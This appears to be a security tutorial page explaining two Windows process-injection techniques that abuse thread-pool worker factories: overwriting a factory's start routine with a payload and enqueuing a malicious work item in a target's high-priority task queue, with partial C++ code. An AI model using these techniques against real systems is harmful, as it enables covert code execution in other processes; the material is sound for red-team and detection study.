

Attacking Worker Factories

 urien.gitbook.io/diago-lima/abusing-tls-callbacks-for-payload-execution/introduction

⋮

Code: <https://github.com/Uri3n/Thread-Pool-Injection-PoC/blob/main/ThreadPoolInjection/WorkInject.cpp>

Worker factories are the driving force behind thread creation and deletion in thread pools, and are entirely implemented in user mode. Windows exposes quite a few syscalls within NTDLL that can be used for interaction with them. The ones that you should take note of for exploitation are as follows:

1. 1.

NtQueryInformationWorkerFactory: Used to retrieve vital information about a worker factory.

2. 2.

NtSetInformationWorkerFactory: Can be used to set certain attributes of a factory.

Overwriting Worker Factory Start Routines

Each worker factory has it's own **start routine** attribute, which is essentially a block of code that gets ran by every newly created thread spawned by the factory. By leveraging the aforementioned

NtQueryInformationWorkerFactory, we can locate the address of this start routine, change the memory permissions to read/write, and dump our payload in there.

```
NtQueryInformationWorkerFactory(  
_In_ HANDLE WorkerFactoryHandle,  
_In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,  
_Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,  
_In_ ULONG WorkerFactoryInformationLength,  
_Out_opt_ PULONG ReturnLength  
);
```

we can get this start routine address by passing in a `WORKERFACTORYINFOCLASS` enumeration with a value of `WorkerFactoryBasicInformation` as our second parameter in the call. This will retrieve the information we need and write it to the pointer passed as the third parameter, which should point to a struct of type `WORKER_FACTORY_BASIC_INFORMATION`.

```
typedef struct _WORKER_FACTORY_BASIC_INFORMATION
```

```
{
```

```
— SNIP —
```

```
void* StartRoutine;
```

```
void* StartParameter;
```

```
— SNIP —
```

```
} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;
```

The actual structure is quite massive, but this will get us the **StartRoutine** address we want, as well as a **StartParameter** attribute, which we will get to a little later.

Once we've retrieved the address, we can simply use **WriteProcessMemory** to write our payload to the routine it points to.

Now, the next time a worker thread is created, it will run our payload. Instead of waiting around for this to happen, we can trigger it immediately by raising the minimum threads attribute of the worker factory to a value higher than it's current thread count.

We can do this with the previously mentioned **NtSetInformationWorkerFactory**.

```
NtSetInformationWorkerFactory(
```

```
_In_ HANDLE WorkerFactoryHandle,
```

```
_In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
```

```
_In_reads_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
```

```
_In_ ULONG WorkerFactoryInformationLength
```

```
);
```

In our call, the `WORKERFACTORYINFOCLASS` enumeration should be `WorkerFactoryThreadMinimum`, and the parameter right after it will need to point to the new value we want to set. The new minimum should be the current number of threads in the factory (which should have been retrieved via our previous call to `NtQueryInformationWorkerFactory`) plus one. This will run our payload immediately.

Work Queue Insertion#

Another method involving worker factories is inserting a work item directly into the pool's work queue. Remember that **StartParameter** value mentioned earlier? The value stored in that struct member from the syscall is actually a pointer to the beginning of a **TP_POOL** structure. This is an absolutely massive structure, with a multitude of members. It's purpose is mainly to hold information about the work queue, and it includes our main member of interest, **TaskQueue**.

```
typedef struct _FULL_TP_POOL
{
    — SNIP —

    struct _TPP_QUEUE* TaskQueue[3];

    struct _TPP_TIMER_QUEUE TimerQueue;

    — SNIP —

} FULL_TP_POOL, * PFULL_TP_POOL;
```

Notice how the timer queue is also stored within this structure. You also may be wondering why the `TaskQueue` member is an array with 3 elements, as opposed to a singular queue. This is because the work queue is divided into three sub-categories defined within the `TP_CALLBACK_PRIORITY` enumeration: **high**, **normal**, and **low**.

```
typedef enum _TP_CALLBACK_PRIORITY {

    TP_CALLBACK_PRIORITY_HIGH,

    TP_CALLBACK_PRIORITY_NORMAL,

    TP_CALLBACK_PRIORITY_LOW,

    TP_CALLBACK_PRIORITY_INVALID,

    TP_CALLBACK_PRIORITY_COUNT = TP_CALLBACK_PRIORITY_INVALID

} TP_CALLBACK_PRIORITY;
```

Ideally, we want to inject our task into the high-priority queue, so that it can be executed as quickly as possible.

Our first step will be to create a work structure associated with our payload to insert into the queue. This can be done with a call to the **CreateThreadPoolWork** Windows API function, and we'll pass in the payload's address as one of the parameters here.

```
pFullTpWork = reinterpret_cast<PFULL_TP_WORK>(CreateThreadpoolWork(  
    static_cast<PTP_WORK_CALLBACK>(payloadAddress),  
    nullptr,  
    nullptr));
```

Something to note here is that the return value for the **CreateThreadPoolWork** function is an opaque pointer type, **PTP_WORK**, and it doesn't actually represent what the address points to, which is why we have to recast it to its correct type, **PFULL_TP_WORK**. This is a recurring theme with many of these helper functions for creating task structures like this, and you will see a near-identical calling pattern for the rest of these functions we will use later, such as for **CreateThreadPoollo** or **CreateThreadPoolWait**. For this reason, I won't be talking about them very much from this point forward.

Next, we can copy over the entire **TP_POOL** structure described earlier into our local process, via **ReadProcessMemory**. There are a few members with our **FULL_TP_WORK** structure we got earlier that require modifications to work properly, so we'll handle that now.

```
taskQueueHighPriorityList = &pFullTpPoolBuffer->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue;
```

```
pFullTpWork->CleanupGroupMember.Pool = static_cast<PFULL_TP_POOL>  
(workerFactoryInfo.StartParameter);
```

```
pFullTpWork->Task.ListEntry.Flink = taskQueueHighPriorityList;
```

```
pFullTpWork->Task.ListEntry.Blink = taskQueueHighPriorityList;
```

The finer details here aren't important, but just know that by doing this, we're associating our work item with the high-priority queue, as well as the actual pool itself.

Our final step is to modify the queue directly so that the payload is executed.

```
//
```

```
// Modify the TP_POOL linked list Flinks and Blinks to point to the malicious task
```

```
//
```

```
pRemoteWorkItemTaskNode = &pRemoteFullTpWork->Task.ListEntry;
```

```
if (!WriteProcessMemory(
```

```
targetProcess,
```

```
&pFullTpPoolBuffer->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Flink,
```

```
&pRemoteWorkItemTaskNode,
```

```
sizeof(pRemoteWorkItemTaskNode),
```

```
nullptr )) {
```

```
state = false;
```

```
goto FUNC_CLEANUP;
```

```
}
```

```
if (!WriteProcessMemory(
```

```
targetProcess,
```

```
&pFullTpPoolBuffer->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Blink,
```

```
&pRemoteWorkItemTaskNode,
```

```
sizeof(pRemoteWorkItemTaskNode),
```

```
nullptr )) {
```

```
state = false;
```

```
goto FUNC_CLEANUP;
```

```
}
```

At a more technical level, the task queues are implemented as circular doubly linked lists, a data structure that is very common to the Windows operating system. By modifying the head's front-link and back-link pointers, we can ensure that the only item in the work queue is our malicious one. The next time the queue is checked, the worker thread will find the end of the linked list by checking if the current node it's sitting on is the head (remember, the list is circular), at which point it will handle all the tasks sitting behind it, in a First In First Out (FIFO) manner. Since we've ensured the only task in the pool it will be able to access is ours, this will be the only one that gets executed.

It's worth noting that for this technique, we have to wait for the queue to get checked, which can take some time. We aren't performing any kind of signal or any other operation that would notify the pool of a new work item, so there will be a delay. In my experience, this may take close to a minute.